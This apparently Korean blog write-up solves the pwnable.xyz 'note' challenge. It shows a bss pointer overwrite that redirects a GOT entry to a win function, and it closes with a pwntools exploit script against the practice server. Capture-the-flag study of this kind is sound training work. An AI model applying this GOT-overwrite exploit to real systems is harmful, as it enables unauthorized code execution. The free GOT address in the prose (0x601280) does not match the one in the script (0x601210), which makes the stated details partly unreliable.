상세 컨텐츠

본문 제목

[pwnable.xyz] note

SYSTEM HACKING/pwnable.xyz

by koharin 2019. 9. 27. 20:43

본문

728x90
반응형

# 파일 유형 확인

 

$ file challenge

 

 

64-bit 바이너리 파일

 

# IDA - pseudo code 확인

 

> main 함수

 

while 문으로 반복

v4 0이면 break. 1, 2, 0 이 아닌 수이면 Invalid를 출력하고 계속 제대로 된 숫자를 입력할 때까지 메뉴 출력 반복

 

> print_menu 함수

 

메뉴 출력

 

> read_int32 함수 (실제 함수 이름이 이렇진 않겠지만..!)

 

 

atoi 함수 : 문자열을 int로 변환

read_int32 함수에서 일단 buf 변수에 32 바이트의 문자열을 받고, 이 문자열을 atoi로 숫자로 변환해서 main 함수의 v4 변수로 받는다.

메뉴 번호만 입력받아서 32 바이트나 필요없는데 이렇게 크기를 크게 받는다는 것은 이 공간을 사용하라는 의미같다.

v4 1 이면 edit_note 함수 호출

 

> edit_note 함수

 

 

v0 note의 길이를 입력받음.

이때도 read_int32 함수를 통해 v0에 저장했으니 buf 변수로 일단 문자열 32 바이트를 받고 atoi 로 숫자로 변환했을 것.

 

buf 변수를 v0 바이트 크기만큼 malloc .

 

read(0, buf, v0) : v0 크기만큼 buf 변수에 입력받음. Buf를 딱 v0 크기로 malloc받았으므로 SFPreturn address는 변조 불가

 

strncpy(s, buf, v0) : s 변수에 buf에 저장된 문자열을 v0 바이트만큼 복사. strncpy 특성상 딱 v0 바이트만 복사 가능

 

 

s 변수는 32 바이트이고, bss 섹션에 buf 변수와 가까이 위치한다.

 

> edit_desc 함수 : 2 번 선택 시 이동

 

 

buf 변수를 크기가 32바이트로 malloc 받음.

 

read(0, buf, 32) : read 함수로 buf 변수에 딱 buf 변수 크기인 32 바이트를 입력받는다. Return address는 덮을 수 없을 듯 하다.

 

> win 함수 : system 함수로 cat flag 명령어 실행해서 flag 출력

 

 

# 실행해보면...

 

 

 

# checksec : 보호기법 확인

 

 

Flag 함수가 있으니 목표는 flag 함수의 주소를 줘서 flag 함수로의 리턴이다.

 

 

 

1. win 함수 주소 : 0x40093c

 

 

 

# edit_desc 함수에서 buf(0x6014a0) edit_note 함수의 s(0x601480) 거리 = 0x20 

 

 

# 필요한 plt, got 주소 구하기

 

IDA에서 쉽게 구할 수 있다...!

 

read 함수 plt : 0x400780

 

어떤 함수의 got를 덮어서 flag를 실행시킬 수 있을까 했는데,

 

free(buf); 가 있으니까 free의 got를 win 함수의 주소로 덮어서 free가 실행될 때 win 함수가 실행되서 flag가 출력되도록 하자.

 

 

free 함수 got : 0x601280

 

# buf 에서 return address 까지 거리

 

 

 

edit_note 첫 번째 명령어에서 bp1, read 함수 호출 부분에서 bp2를 잡아서 각 bp에서 rsp를 출력해서 return address와 buf 주소를 (이게 x64에서도 맞는지 모르겠지만..^^;) 구하고 두 주소 차이를 구한다.

0x18 = 24 바이트이므로 buf가 24 바이트이고 거기에 SFP 8 바이트를 더해서 return address 전 32 바이트의 더미를 채운다.

 

# exploit code

 

#!/usr/bin/python                                                                      
from pwn import *

p = remote("svc.pwnable.xyz", 30016)

p.sendafter("> ", '1')
p.sendafter("Note len? ", '100')

p.sendafter("note: ", 'A'*0x20 + p64(0x601210))

p.sendafter("> ", '2')
p.sendafter("desc: ", p64(0x40093c))
p.sendafter("> ", '1')
p.sendafter("Note len? ", '5')
p.sendafter("note: ", 'A'*5)

p.interactive()

 

# exploit 

 

 

 

 

 

성공!

 

 

 

 

 

 

 

 

 

 

 

728x90
반응형

'SYSTEM HACKING > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] xor  (0) 2019.09.28
[pwnable.xyz] Grownup  (0) 2019.09.27
[pwnable.xyz] misalignment  (0) 2019.09.17
[pwnable.xyz] add  (0) 2019.09.05
[pwnable.xyz] sub  (0) 2019.09.05

관련글 더보기